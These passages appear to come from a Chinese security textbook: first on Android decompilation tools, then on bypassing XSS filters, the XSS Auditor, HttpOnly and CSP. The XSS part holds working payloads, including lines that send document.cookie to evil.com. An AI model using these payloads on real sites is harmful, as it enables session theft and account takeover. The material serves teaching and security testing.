    {"text": "未知 24.2.2 使用dex2jar生成jar文件 使用Apktool工具可以反编译出APK文件中的BakSmali代码，但是BakSmali代码毕竟还是比较底层的代码，理解起来比较困难，那么，有没有什么办法能够直接将APK文件反编译成Java代码呢？答案是有的，那就是使用dex2jar工具包。 dex2jar，顾名思义，就是将DEX文件转换为Jar文件，除此之外还包含很多其他功能。dex2jar是开源工具，源码可以直接从GitHub（ https://github.com/pxb1988/dex2jar ）上克隆下来，然后切换到dex2jar目录，运行“./gradlew build”命令，稍等片刻编译出最新版的dex2jar。 编译后的程序位于dex-tools/build/distributions/目录下，该目录下会生成两个压缩包，类似于dex-tools-2.1-SNAPSHOT.zip和dex-tools-2.1-SNAPSHOT.tar。随意挑选其中一个文件，解压到任意目录，并且将解压后的目录加入系统的环境变量中，就可以正常使用dex2jar了。 dex2jar中最常用的功能就是将APK安装包中的DEX文件转化为Jar文件，命令很简单，使用d2j-dex2jar.sh filename，即可在同目录下生成同名的Jar文件，如何查看这个Jar文件将在24.2.3节介绍。 dex2jar工具包中还包含了其他多个有用的工具。 ·d2j-apk-sign：可以为APK签名的小工具，该工具将使用dex2jar工具包的签名文件进行签名，可以替代24.2.1节中使用SignApk工具签名的方法。 ·d2j-baksmali：可以将APK安装包中的DEX文件转化为BakSmali代码，作用与24.2.1节Apktool的部分功能相似。 ·d2j-smali：可以将BakSmali代码编译回DEX文件。 ·d2j-dex2smali：可以将DEX文件转化为BakSmali代码。 ·d2j-dex-recompute-checksum：可以重新计算DEX文件校验和的小工具，有时候我们直接修改DEX文件后，可以用这个小工具重新计算校验和。 还有一些其他工具，有兴趣的读者可以使用“-h”参数查看各个小工具的具体功能。 未知 24.2.3 使用jd-gui查看反编译的Java代码 24.2.2节中我们提取了Jar文件，那么如何利用Jar文件查看Java代码呢？这里我们可以使用jd-gui工具来实现Jar文件的反编译。 jd-gui是开源软件，读者可以从GitHub上（ https://github.com/java-decompiler/jd-gui ）直接将其克隆下来，切换到jd-gui的目录，运行“./gradlew build”命令，稍等片刻即可编译出最新版的jd-gui。 编译完成后的jd-gui程序位于build/libs目录下，文件名类似于jd-gui-1.4.0.jar，将jd-gui-1.4.0.jar复制到自己喜欢的路径，使用命令java-jar jd-gui-1.4.0.jar即可运行。 运行界面如图24-1所示，直接将Jar文件拖入，即可反编译查看Java代码。 图24-1 JD-GUI布局 未知 24.2.4 使用FernFlower反编译Jar文件 有时候，我们使用jd-gui反编译Jar文件时，有的类或者方法会反编译失败，这是由于Java代码过于复杂等原因造成的jd-gui无法正常反编译，这时，我们可以使用另一款工具FernFlower来反编译Jar文件。 FernFlower工具由JetBrains公司开发，该公司也开发出很多知名IDE，如intellij IDEA、PyCharm、WebStorm而FernFlower就是作为其IDE之一的intellij IDEA所使用的默认反编译器，使用了智能的分析技术，反编译效果非常好。 FernFlower目前已经开源，可以从GitHub地址（ https://github.com/fesh0r/fernflower ）直接克隆下来，切换到fernflower目录，直接输入命令“./gradlew jar”即可完成编译。 编译完成后，在build/lib目录下会生成fernflower.jar文件，将其复制到自己喜欢的路径即可开始使用。运行的命令为： java -jar fernflower.jar jar_path out_dir 其中，jar_path为Jar文件的路径，out_dir为输出目录。输出目录不会主动创建，如果输出目录不存在的话，则需要先手动创建一个。 反编译完成后，在输出目录下会看到一个Jar文件，不过不用担心，这个Jar文件中的class文件都已经替换为了Java文件，直接使用unzip解压，即可获得按照Java约定放置的Java类文件夹和“.java”文件。 jd-gui和FernFlower工具各有优缺点：jd-gui本身包含图形界面，运行起来比较方便，FernFlower则是命令行格式，会一次性将所有的类都反编译出来；jd-gui反编译的效果稍微欠缺，FernFlower反编译的效果还是非常好的。我们在使用的过程中，可以将这两个工具结合使用。"},
    {"text": "未知 24.2.5 使用Android Killer/jadx/APK Studio逆向分析平台 之前我们介绍了几个常用的反编译Dalvik层的工具，不难发现，在一般的反编译过程中，这几个工具几乎是固定的，顺序和命令也几乎固定，每次反编译都需要做一些重复的工作，会极大地浪费宝贵的比赛时间，那么，能不能用一个整合的反编译平台省去这些重复工作呢？"},
    {"text": "本节将介绍三个较为知名的反编译平台，它们部分或全部整合了之前介绍的Apktool、dex2jar、jd-gui等主流反编译工具，极大地提高了我们的反编译效率。"},
    {"text": "1.Android Killer Android Killer由吾爱破解的legend_brother开发，是一款可视化Android应用逆向工具，集APK反编译、APK打包、APK签名、编码互转、ADB通信等特色功能于一身，支持logcat日志输出，语法高亮，基于关键字项目内搜索，可自定义外部工具； 吸收并融汇了多种工具的功能与特点，打造一站式逆向工具操作体验，大大简化了Android应用、游戏修改过程中各类烦琐的工作。 Android Killer集合了之前讲过的Apktool、dex2jar、jd-gui、signapk、adb logcat等一系列工具，是目前笔者所使用过的Dalvik静态逆向平台中功能最全的一款。"},
    {"text": "它在后续版本中将添加断点调试BakSmali代码的功能，并且完全免费，不足之处在于它是闭源软件，并且只支持Windows系统，使用Linux或Mac的读者可能需要寻找其他替代软件。"},
    {"text": "我们可以从吾爱破解的论坛中搜索到Android Killer的最新版。 目前笔者能够下载到的版本是Android Killer V1.3.1正式版。 如图24-2所示的是Android Killer工作的主界面，蓝色的主界面看起来非常的清爽，每个功能键都有标注，非常容易上手。 图24-2 Android Killer布局 将要反编译的APK文件直接拖入Android Killer中，或者使用“打开”操作，Android Killer会自动使用Apktool反编译APK文件，在“工程管理器”选项卡中，可以浏览当前的反编译目录，双击相应的smali文件即可进行编辑，可以看到，Android Killer对BakSmali代码进行了代码高亮处理，如图24-3所示。 Android Killer还囊括了在逆向过程中经常用到的小工具，例如编码转换、MD5计算等，如图24-4所示。 Android Killer的重打包功能也非常方便。 只需点击“编译”按钮，Android Killer就会自动完成重打包以及签名的操作； 点击“安装”按钮，Android Killer就会调用其自带的adb将重编译完成后的APK安装到目标手机中，非常方便，如图24-5所示。 除此之外，Android Killer还集成了一些其他的常用功能，例如，列出BakSmali代码中的字符串，如图24-6所示。 Android Killer还设有“插入代码管理器”，可以将自己经常用到的插桩代码保存起来，使用时只需点开复制粘贴即可，不用再到处去找自己保存到哪里了，如图24-7所示。 图24-3 Android Killer反编译 图24-4 Android Killer小工具 最后，需要注意的一点是，Android Killer毕竟还是基于Apktool等工具来实现的，目前Android Killer已经好久没有升级了，但是Apktool等工具依旧在更新，如果我们重打包失败，可以考虑失败是否由于Apktool版本过低导致。 在Android Killer中升级Apktool很简单，点击“APKTOOL管理器”按钮打开APKTOOL管理器，点击下方的“下载最新的Apktool”，根据网页的提示即可将Apktool升级至最新版本，如图24-8所示。 图24-5 Android Killer反编译 图24-6 Android Killer查看字符串 图24-7 Android Killer代码管理器 图24-8 Android Killer更新Apktool 2.jadx jadx集成了dex2jar和jd-gui的主要功能，可以实现一键反编译DEX、APK或者Jar文件生成Java代码。"},
    {"text": "jadx是开源软件，使用Java开发，全平台都可用。 jadx的源码可以从 https://github.com/skylot/jadx 上获取，将源码克隆到任意位置后，切换到jadx目录下，使用“./gradlew dist”命令即可编译jadx（编译需要Java SDK环境）。 编译成功后，切换到jadx目录的“build/jadx/bin”目录下，命令行执行其中的“jadx-gui”程序，即可运行jadx。 使用jadx的打开功能或者直接将APK文件拖入jadx中，即可自动反编译APK文件，显示出Java代码。"},
    {"text": "图24-9 jadx界面 3.APK Studio APK Studio是另一款比较著名的APK反编译工具，主要集成了Apktool和jarsigner签名的功能，用于修改BakSmali代码以及进行重打包和签名的操作。 APK Studio是开源软件，使用Qt5开发，跨平台可用。 APK Studio的源码可以从 https://github.com/vaibhavpandeyvpz/apkstudio 中获取，将源码克隆到任意路径后，切换到apkstudio目录即可开始编译。 因为APK Studio是使用Qt5开发的，编译过程会比较复杂，首先需要安装Qt5编译环境，Linux、macOS用户可以使用包管理工具直接安装Qt5，Windows用户可以直接下载GitHub上提供的安装版（其实Windows用户用Android Killer就足够了）。 接着在APK Studio执行下面的命令即可完成编译，注意，如果是KDE 5.x的Linux系统，则需要加入下面IF里的命令： lrelease res/lang/en.ts qmake apkstudio.pro CONFIG+=release # {IF} On KDE 5.x export CXXFLAGS=\"$CXXFLAGS -DNO_NATIVE_DIALOG\" # {/IF} make 在macOS系统编译的时候经常会遇到这样的问题，如果执行“lrelease res/lang/en.ts”命令时提示“lrelease命令不存在”，那么首先需要确认Qt5j是否已安装，然后需要将Qt5添加到系统执行路径中。"},
    {"text": "在macOS系统中，如果在执行“qmake apkstudio.pro CONFIG+=release”语句时提示“Project ERROR:Xcode not set up properly.You may need to confirm the license agreement by running/usr/bin/xcodebuild.”，则需要修改Qt5的一段代码。 打开Qt5的安装目录，例如笔者使用brew安装的默认目录为“/usr/local/Cellar/qt5/5.6.1-1/”，打开该目录下的“mkspecs/features/mac/default_pre.prf”文件，将其中的“isEmpty($$list($$system(\"/usr/bin/xcrun-find xcrun 2>/dev/null\")))”语句修改为“isEmpty($$list($$system(\"/usr/bin/xcrun-find xcodebuild 2>/dev/null\")))”。"},
    {"text": "编译完成后，还需要手动配置Apktool才能正常使用APK Studio。 点开设置，修改“Vendor Path”，设置Apktool的路径即可。 使用“打开”操作或者将APK文件直接拖入APK Studio中，APK Studio就会自动调用Apktool进行反编译，如图24-10所示。 图24-10 APK Studio界面 点击上面的锤子形状的按钮即可进行重打包操作，编译成功后，下方会有提示。"},
    {"text": "APK Studio的签名操作需要使用自己的keystore，若没有keystore则可以用下面的命令生成一个（“keytool”工具是安装Java的时候自带的）： keytool -genkey -alias demo.keystore -keyalg RSA -validity 40000 -keystore demo.keystore 点击钥匙按钮，输入keystore路径以及keystore密码、key的别名、key的密码，即可进行签名操作，如图24-11所示。 图24-11 APK Studio签名 APK Studio签名底层使用的是jarsigner工具，jarsigner工具也是开发APK时使用的默认签名工具，但是使用jarsigner对重打包的APK文件进行签名时，失败率却是比较高的，因此使用APK Studio对重打包的APK文件进行签名往往会不成功，这里还是推荐使用24.2.1节的签名方法。"},
    {"text": "未知 24.2.6 使用JEB进行静态分析 JEB全称JEB Decompiler，由PNF Software公司开发，是一款闭源商业软件，支持对APK、DEX、Jar文件的反编译。JEB目前有两个版本，JEB1和JEB2。JEB1是最为经典的版本，目前已经停止对其的开发与维护；JEB2仍在开发过程中，功能也在不断完善，其动态调试等功能还是很值得期待的。JEB2售价不菲，商业版是每人每月150美元；企业版是每月300美元，可供四人同时使用。有兴趣的读者可以去JEB2的官网（ https://www.pnfsoftware.com/ ）查看。 JEB在反编译DEX文件的过程中参考了Apktool等工具，但是其与Apktool原版并不完全相同。同时，JEB在反编译DEX时生成Java文件的行为也与jd-gui、FernFlower等工具的结果不同，其反编译生成的并不是标准的Java文件，其中包含了“label、goto”等非Java语句，使用这个Java文件进行重打包是肯定会失败的，有时也会使语句晦涩难懂，但是大部分情况下并不会影响理解。 JEB最出色同时也是最吸引笔者的一项功能就是其交叉引用功能，换句话说，你可以随便为类、方法、变量等改名字。这个功能也是JEB能够打败其他反编译工具的关键，其交叉引用功能非常方便，对某个成员改名后，该成员在其他类里的引用也会相应地改名，成为反混淆过程中的利器。 介绍到此为止，下面我们赶紧来体验一下。在笔者编写初稿时，JEB2还不是很稳定，JEB1还是首选，但是到截稿时，JEB2已经非常成熟了，基本包含了JEB1的所有功能，因此本节我们以JEB2为例进行讲解。笔者使用的是JEB2正式版，其自带中文，用户体验还是比较友好的。 JEB的结构如图24-12所示。 图24-12 JEB 启动完毕的界面如图24-13所示，可以看到在没有打开APK的情况下，已经有很多标签页显示出来了。 图24-13 JEB布局 将APK文件拖入JEB中的“工程浏览器”下，或者使用“打开”操作打开APK文件，就可以直接开始反编译了，如图24-14所示。左边是文件树状图和类的树状图，右边默认显示的是BakSmali汇编代码。 选中相应的类，按下“TAB”按钮，JEB会切换到“反编译的Java”一栏中，将反编译后的Java代码显示出来，如图24-15所示。在“反编译的Java”一栏中直接双击目标类，也会将反编译后的Java代码直接显示出来。 图24-14 JEB反编译Smali 图24-15 JEB反编译Java 我们重点来看一下“反编译的Java”一栏中有什么重要的功能。 左键点击代码中的某个方法名，再右击一下，会显示提示菜单，此处比较重要的是“交叉引用”“备注”和“转换”三个功能，后面的字母代表该功能的快捷键，如图24-16所示。 图24-16 JEB右键 交叉引用功能可用于查看该方法在其他哪个地方被使用，如图24-17所示。 图24-17 JEB交叉引用 注释功能类似于IDA的注释功能，添加注释后会在该行语句的末尾添加注释，以方便查看，如图24-18所示。 图24-18 JEB添加注释 改变进制常数，也就是进制转换功能，是笔者最喜欢的功能之一。JEB的进制转换功能可以使整数在十进制、十六进制和八进制之间互相转换。不要小看这个进制转换功能，在反编译的过程中，该功能能够节约大量的时间，尤其是在转换进制查看资源引用时会特别方便。 下面我们来看一下JEB的其他功能。 双击Manifest文件可以对Manifest.xml文件进行预览，在这里，我们能够看到解密之后的Manifest.xml文件，如图24-19所示。 资源文件提供了对res目录的预览功能，我们需要点击左侧的Resources文件进入，该文件是查找Java代码中对id的引用过程中必不可少的功能。通过图24-20可以看到，public.xml中对id的表示都是十六进制，此时就是我们的整数进制转换功能登场的时候了。 资源栏会显示对APK文件中assets目录的预览，并且能够以十六进制的形式显示文件，非常方便。 以上就是对使用JEB进行静态分析的基本介绍了，关于使用JEB2进行动态调试的相关内容，将在24.3节中详细介绍。 图24-19 JEB查看Manifest.xml 图24-20 JEB查看资源文件 未知 24.2.7 其他的静态分析软件 在静态分析领域，除了上述几款笔者经常用到的软件之外，还有一些软件的知名度也非常高。 知名的恶意软件分析工具包Androguard也是在静态分析过程中经常会用到的工具。Androguard是开源软件，可以从地址 https://github.com/androguard/androguard 下载，其包含多个小工具，主要用于对APK进行各个方面的分析。例如androapkinfo.py可以用来查看APK文件的信息，androaxml.py可以用来解密APK包中的AndroidManifest.xml文件，androdd.py可以用来生成APK文件中每个类的方法的调用流程图，androdiff.py可以用来比较两个APK文件的差异，androgexf.py可以用来生成APK的GEXF格式的图形文件。目前Androguard的开发进度比较快，上层框架经常修改，因此这里不再详细介绍，有兴趣的小伙伴可以参看其官方文档。 逆向工具IDA Pro也是支持对DEX文件的静态分析的，只要将APK文件拖入IDA Pro中，在弹出的窗口中选择class.dex，IDA Pro就会自动识别出DEX的文件格式，并且对其进行反编译，如图24-21所示。更多关于IDA Pro的内容可参阅网上相关信息。 图24-21 IDA Pro反编译Dex"},
    {"text": "Web应用层处理XSS漏洞的办法有很多，比如，特定标签过滤、事件过滤、敏感关键字过滤等，同时浏览器也会对XSS漏洞的利用进行限制（XSS Auditor、CSP等），本节将对常见的防护技术进行介绍并提出相应的绕过方案。 1.特定标签过滤 部分开发者认为过滤掉危险标签（如script、iframe等）就会导致无法执行脚本，但其实任何一种标签，无论是否合法，都可以构造出XSS代码，比如如下代码： <not_real_tag onclick=\"alert(/xss/)\">click me</not_real_tag> 这段代码在用户点击时也会执行XSS代码。"},
    {"text": "同时，HTML5也带来了部分新标签，容易被开发者忽略，如video标签： <video><source onerror=\"alert(/xss/)\"> 这里推荐HTML5 Security Cheatsheet： http://html5sec.org/ ，其中包含了许多XSS攻击向量以供学习和参考。"},
    {"text": "2.事件过滤 很多时候，开发者会过滤掉许多HTML标签的事件属性，这时需要对所有可利用的事件属性进行遍历，测试一下开发者是否有所遗漏。 常用的事件属性如下，测试时可使用Burp或自行编写脚本进行Fuzz： onafterprint oninput onscroll onbeforeprint oninvalid onabort onbeforeunload onreset oncanplay onerror onselect oncanplaythrough onhaschange onsubmit ondurationchange onload onkeydown onemptied onmessage onkeypress onended onoffline onkeyup onerror ononline onclick onloadeddata onpagehide ondblclick onloadedmetadata onpageshow ondrag onloadstart onpopstate ondragend onpause onredo ondragenter onplay onresize ondragleave onplaying onstorage ondragover onprogress onundo ondragstart onratechange onunload ondrop onreadystatechange onblur onmousedown onseeked onchange onmousemove onseeking oncontextmenu onmouseout onstalled onfocus onmouseover onsuspend onformchange onmouseup ontimeupdate onforminput onmousewheel onvolumechange 另外，还有一些标签属性本身不属于事件属性，但可用于执行JavaScript代码，比如常见的JavaScript伪协议： <a href=\"javascript:alert(/xss/)\">click me</a> 同时，HTML5也带来了一些新的属性，可以用于对事件过滤进行绕过操作，例如： 1. <details open ontoggle=\"alert(/xss/)\"> 2. <form><button formaction=\"javascript:alert(/x/)\">X</button> ... 3.敏感关键字（字符）过滤 关键字过滤大部分是针对敏感变量或函数而进行的，如cookie、eval等，这部分的过滤可通过字符串拼接、编码解码等方法进行绕过。 （1）字符串拼接与混淆 JavaScript中的对象方法可通过数组的方式进行调用，如调用alert函数，可以使用如下方式： window['alert'](/xss/); 可以看到，数组下标是想要调用函数名字的字符串，既然是字符串，那么自然就可以通过拼接的方式进行混淆，代码如下： window['al'+'ert'](/xss/) 我们还可以使用JavaScript自带的Base64编码解码函数来实现字符串过滤的绕过，btoa函数可以将字符串编码为Base64字符串，atob函数可以将Base64字符串还原，比如，btoa(\"alert\")会返回“YWxlcnQ=”，这时利用如下代码也可实现与alert(/xss/)相同的效果： window[atob(\"YWxl\"+\"cnQ=\")](/xss/) （2）编码解码 基于字符串的代码混淆不仅可以通过字符串拼接的方式来实现，还可以通过各种编码、解码来实现。"},
    {"text": "XSS漏洞中常用的编码方式包括： ·HTML进制编码：十进制（&#97;）、十六进制（&#x61;） ·CSS进制编码：兼容HTML中的进制表现形式，十进制、十六进制（\\61） ·Javascript进制编码：八进制（\\141）、十六进制（\\x61）、Unicode编码（\\u61）、ASCII（String.fromCharCode(97)） ·URL编码：%61 ·JSFuck编码 这里值得一提的是JSFuck编码，它可以只使用“[]()!+”6个字符来编写Javascript程序，在某些场景下具有奇效。"},
    {"text": "例如alert(1)可编码为： [][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])() 这里推荐使用编码工具XSSEE（ https://evilcos.me/lab/xssee/ ），其包含了大量的编码方式，非常实用。"},
    {"text": "（3）location.*、window.name 既然开发者会对输入的敏感关键字进行过滤，那么可以将XSS代码放置于其他不被浏览器提交至服务端的部分，如location.*、window.name等处，location.*的构造如下： http://example.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(/xss/)> window.name的构造页面如下： <iframe src=\"http://example.com/xss.php?input=%3Cinput%20onfocus=location=window.name%3E\" name=\"javascript:alert(/xss/)\"></iframe> 利用location对象结合字符串编码可以绕过很多基于关键字的过滤。"},
    {"text": "（4）过滤“.” 在JavaScript中，可以使用with关键字设置变量的作用域，利用此特性可以绕过对“.”的过滤，如： with(document)alert(cookie); （5）过滤“()” 在JavaScript中，可以通过绑定错误处理函数，使用throw关键字传递参数绕过对“()”的过滤，如： window.onerror=alert; throw 1; （6）过滤空格 在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤，如： http://example.com/xss.php?input=<img%0asrc=x%0aonerror=alert(/xss/)> 在标签名称和第一个属性间也可以使用“/”代替空格，如： <input/onfocus=alert(/xss/)> （7）svg标签 svg内部的标签和语句遵循的规则是直接继承自xml而不是html，区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符（比如实体编码）： http://example.com/xss.php?input=1\"><svg><script>alert%26%23x28;1%26%23x29</script></svg> 4.字符集编码导致的绕过 当字符集编码存在问题时常常会导致一些出乎意料的绕过，举例说明如下。 （1）古老的UTF-7与US-ASCII 在没有通过Content-Type或meta标签设置字符集时，如果IE的编码设置为自动检测，那么它会根据一些BOM字符来判断当前的字符集（现在已不适用），如： <html> <head><title>UTF-7</title></head> <body> +ADw-script+AD4-alert(/xss/)+ADw-/script+AD4- </body> </html> 另外一种情况是，虽然IE没有勾选自动检测字符集的设置，但可以通过制作一个字符集为UTF-7的页面，并使用iframe标签来调用目标页面，利用字符集继承漏洞来实现字符集的设定，如： <meta http-equiv='content-type' content='text/html;charset=UTF-7'> <iframe src='http://example.com/xss.php?input=%2BADw-script%2BAD4-alert(/xss/)%2BADw-%2Fscript%2BAD4-'></iframe> 不过很遗憾，这种基于iframe的跨域字符集继承漏洞已经被修复，当前的情况是：继承的大前提是必须同域。 如果输出点是在title标签之内，meta标签之前，且字符集是由meta标签所指定的，那么仍可通过如下方式注入meta标签指定字符集来利用XSS漏洞，原型如下： <html> <head> <title>{{ your input }}</title> <meta http-equiv=\"content-type\" content=\"text/html;charset=UTF-8\"> </head> </html> 在title标签中注入如下代码： </title><meta charset=\"utf-7\">+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-： 最终可以构造出： <html> <head> <title></title><meta charset=\"utf-7\">+ADw-script+AD4-alert(1)+ADw-/script+AD4-</title> <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\"> </head> </html> 基于US-ASCII字符集的XSS漏洞与基于UTF-7的XSS漏洞很相似，代码如下： <html> <head> <meta http-equiv=\"content-type\" content=\"text/html;charset=us-ascii\"> </head> <body> シ script セ alert(1)シ/script セ </body> </html> （2）宽字节 考虑如下代码： <html> <head> <title>XSS</title> <meta charset=\"gb2312\"> </head> <body> <script> var q=\"<?php echo str_replace('</','<\\/',addslashes($_GET['input']));?>\"; </script> </body> </html> 这段代码通过str_replace和addslashes对输入进行过滤，而这里可以使用宽字节进行绕过，Payload如下： http://example.com/xss.php?input=%d5%22;alert(1);// （3）一些特殊的字符 日本安全研究人员Masato kinugawa对浏览器字符集编码进行测试后发现，由于字符集的原因，在浏览器中会出现如下几种情况。"},
    {"text": "5.长度限制 部分输入点会限制输入字符的数量，这时就需要使XSS代码尽量短小精悍，可使用如下方式： ·window.name ·location.* window.name和location.*都可以通过将代码放置在别处以减小输入点代码量，如： <iframe src=\"http://example.com/xss.php?input=%3Cinput%20onfocus=eval(window.name)%3E\" name=\"alert(/xss/)\"></iframe> ·第三方库工厂函数 诸如jQuery等第三方JavaScript库大部分都会提供相应的工厂函数，如jQuery中的“$()”，它会自动构造标签，并且执行其中的代码： <iframe src=\"http://example.com/xss.php?input=%3Cinput%20onfocus=$(window.name)%3E\" name=\"<img src='x' onerror=alert(/xss/) />\"/> ·注释 在一些环境下可以使用注释来绕过长度限制。 具体操作是将XSS代码分为多个阶段，在每个阶段的代码前后添加注释符号，依次注入XSS代码，这样不同阶段的代码就可以组合到一起了，如下所示： stage 1: <script>/* stage 2: */alert(1)/* stage 3: */</script> 6.HttpOnly绕过 HttpOnly是Cookie的一个安全属性，设置后则可以在XSS漏洞发生时避免JavaScript读取到Cookie，但即使设置了HttpOnly属性，也仍有方法获取到Cookie值。"},
    {"text": "（1）CVE-2012-0053 Apache服务器2.2.0-2.2.21版本存在一个漏洞CVE-2012-0053：攻击者可通过向网站植入超大的Cookie，令其HTTP头超过Apache的LimitRequestFieldSize（最大请求长度，4192字节），使得Apache返回400错误，状态页中包含了HttpOnly保护的Cookie。"},
    {"text": "（2）PHPINFO页面 无论是否设置了HttpOnly属性，phpinfo()函数都会输出当前请求上下文的Cookie信息。 如果目标网站存在PHPINFO页面，就可以通过XMLHttpRequest请求该页面获取Cookie信息。 （3）Flash/Java 安全团队seckb在2012年提出，通过Flash、Java的一些API可以获取到HttpOnly Cookie，这种情况可以归结为客户端的信息泄露，链接地址为： http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html 。"},
    {"text": "由于低版本Chrome浏览器对ISO-2022-JP等编码处理不当，在页面没有设置默认编码并使用这个日语字符集时，XSS Auditor检查的部分会向Payload添加0x0f字符，这样就可以绕过XSS Auditor。 XSS代码如下： <meta charset=\"ISO-2022-JP\"><img src=\"#\" onerror%1B28B=alert(1) /> 这其实是利用了浏览器处理字符集时产生的漏洞，随着以后字符集的更新，这种漏洞仍然有可能出现。"},
    {"text": "协议理解问题也会导致Chrome浏览器的XSS Auditor被绕过，因为XSS Auditor在检查加载脚本的路径时有一个比较有趣的地方：如果加载的脚本在自身目录下，并且XSS的输出点在HTML属性中，那么XSS Auditor是不会对其进行拦截的。"},
    {"text": "结合XSS Auditor对HTTPS协议的错误理解，可以构造如下XSS代码绕过XSS Auditor： http://example.com/xss.php?input=1\"><link%20rel=\"import\"%20href=https:evil.com/1.php ·CRLF导致的绕过。"},
    {"text": "8.内容安全策略（CSP）绕过 内容安全策略（CSP）是目前最主要的Web安全保护机制之一，这个功能可以有效地帮助开发者降低网站遭受XSS漏洞攻击的可能性。"},
    {"text": "·script-src的源列表包含unsafe-inline（并且没有使用nonce或hash策略）或允许data伪协议。 ·script-src或object-src源列表包含攻击者可控制的部分源地址（文件上传、JSON Hijacking、SOME攻击），或者包含不安全的库。"},
    {"text": "（2）unsafe-inline下的绕过 CSP策略如下： default-src 'self';script-src 'self' 'unsafe-inline' 除script开启unsafe-inline模式之外，其余资源仅允许加载同域。"},
    {"text": "·DNS Prefetch。 由于link标签最新的rel属性dns-prefetch尚未被加入CSP实现中，使用如下Payload即可发出一条DNS解析请求，在NS服务器下查看解析日志便可得到如下内容： <link rel=\"dns-prefetch\" href=\"[cookie].evil.com\"> ·location.href。"},
    {"text": "大部分的网站跳转还是要依赖前端来进行，所以在CSP中是无法对location.href做出限制的，依此可以衍生出大量的绕过方式： // bypass 1 <script>location='http://eval.com/cookie.php?cookie='+escape(document.cookie);</script> // bypass 2 <script> var a=document.createElement(\"a\"); a.href='http://evil.com/cookie.php?cookie='+escape(document.cookie); document.body.appendChild(a); a.click(); </script> // bypass 3 <meta http-equiv=\"refresh\" content=\"1;url=http://evil.com/cookie.php?data=[cookie]\"> （3）严苛规则script-src'self'下的绕过 CSP策略如下： default-src 'self'; script-src 'self'; 关闭unsafe-inline模式，所有资源仅允许加载同域。"},
    {"text": "在W3C文档中，关于重定向的说明引用如下： 4.2.2.3.Paths and Redirects To avoid leaking path information cross-origin(as discussed in Egor Homakov’s Using Content-Security-Policy for Evil),the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect.For example,given a page with an active policy of img-src example.com not-example.com/path: Directly loading https://not-example.com/not-path would fail,as it doesn’t match the policy. Directly loading https://example.com/redirector would pass,as it matches example.com. Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path ,the load would succeed,as the initial URL matches example.com,and the redirect target matches not-example.com/path if we ignore its path component. 可以看出，如果将script-src设置为某个目录，通过该目录下的302跳转是可以绕过CSP读取到记载其他目录的资源的。 CSP策略如下： default-src 'self'; script-src http://example.com/a/; 可使用下面的Payload进行攻击： http://example.com/xss.php?input=<script src=\"http://example.com/a/redirect.php?url=http://example.com/b/evil.js\"></script> （4）CRLF导致的绕过 在HTTP响应头中注入[CRLF][CRLF]，将CSP头部分割至HTTP响应体中，这样注入的XSS代码便不再受到CSP的影响。"},
